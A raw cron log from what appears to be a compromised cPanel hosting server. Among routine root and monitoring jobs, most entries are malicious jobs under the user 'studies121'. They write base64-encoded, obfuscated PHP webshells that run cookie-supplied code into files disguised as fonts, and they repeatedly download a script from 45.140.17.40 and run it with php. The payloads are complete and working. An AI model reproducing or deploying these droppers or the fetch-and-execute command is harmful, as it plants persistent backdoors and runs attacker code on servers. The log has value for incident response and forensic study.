Sep  8 05:12:01 ip-184-168-122-23 CROND[17143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:12:01 ip-184-168-122-23 CROND[17145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:12:01 ip-184-168-122-23 CROND[17147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:12:01 ip-184-168-122-23 CROND[17150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:13:01 ip-184-168-122-23 CROND[17246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:13:01 ip-184-168-122-23 CROND[17250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:13:01 ip-184-168-122-23 CROND[17248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:13:01 ip-184-168-122-23 CROND[17249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:14:01 ip-184-168-122-23 CROND[17373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:14:01 ip-184-168-122-23 CROND[17376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:14:01 ip-184-168-122-23 CROND[17375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:14:01 ip-184-168-122-23 CROND[17377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:14:01 ip-184-168-122-23 CROND[17378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:15:01 ip-184-168-122-23 CROND[17522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:15:01 ip-184-168-122-23 CROND[17524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:15:01 ip-184-168-122-23 CROND[17525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:15:01 ip-184-168-122-23 CROND[17526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:15:01 ip-184-168-122-23 CROND[17528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:15:01 ip-184-168-122-23 CROND[17527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:16:02 ip-184-168-122-23 CROND[17748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:16:02 ip-184-168-122-23 CROND[17751]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:16:02 ip-184-168-122-23 CROND[17754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:16:02 ip-184-168-122-23 CROND[17756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:16:02 ip-184-168-122-23 CROND[17757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:16:02 ip-184-168-122-23 CROND[17758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:17:01 ip-184-168-122-23 CROND[17867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:17:01 ip-184-168-122-23 CROND[17868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:17:01 ip-184-168-122-23 CROND[17870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:17:01 ip-184-168-122-23 CROND[17871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:18:01 ip-184-168-122-23 CROND[18000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:18:01 ip-184-168-122-23 CROND[18002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:18:01 ip-184-168-122-23 CROND[18005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:18:01 ip-184-168-122-23 CROND[18004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:18:01 ip-184-168-122-23 CROND[18003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:19:01 ip-184-168-122-23 CROND[18114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:19:01 ip-184-168-122-23 CROND[18116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:19:01 ip-184-168-122-23 CROND[18118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:19:01 ip-184-168-122-23 CROND[18120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:20:01 ip-184-168-122-23 CROND[18245]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:20:01 ip-184-168-122-23 CROND[18247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:20:01 ip-184-168-122-23 CROND[18248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:20:01 ip-184-168-122-23 CROND[18251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:20:01 ip-184-168-122-23 CROND[18250]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:20:01 ip-184-168-122-23 CROND[18253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:20:01 ip-184-168-122-23 CROND[18249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:20:01 ip-184-168-122-23 CROND[18252]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:20:01 ip-184-168-122-23 CROND[18254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:21:01 ip-184-168-122-23 CROND[18394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:21:01 ip-184-168-122-23 CROND[18395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:21:01 ip-184-168-122-23 CROND[18398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:21:01 ip-184-168-122-23 CROND[18399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:22:01 ip-184-168-122-23 CROND[18585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:22:01 ip-184-168-122-23 CROND[18587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:22:02 ip-184-168-122-23 CROND[18590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:22:02 ip-184-168-122-23 CROND[18588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:22:02 ip-184-168-122-23 CROND[18589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:23:01 ip-184-168-122-23 CROND[18691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:23:01 ip-184-168-122-23 CROND[18693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:23:01 ip-184-168-122-23 CROND[18695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:23:01 ip-184-168-122-23 CROND[18696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:24:01 ip-184-168-122-23 CROND[18788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:24:01 ip-184-168-122-23 CROND[18791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
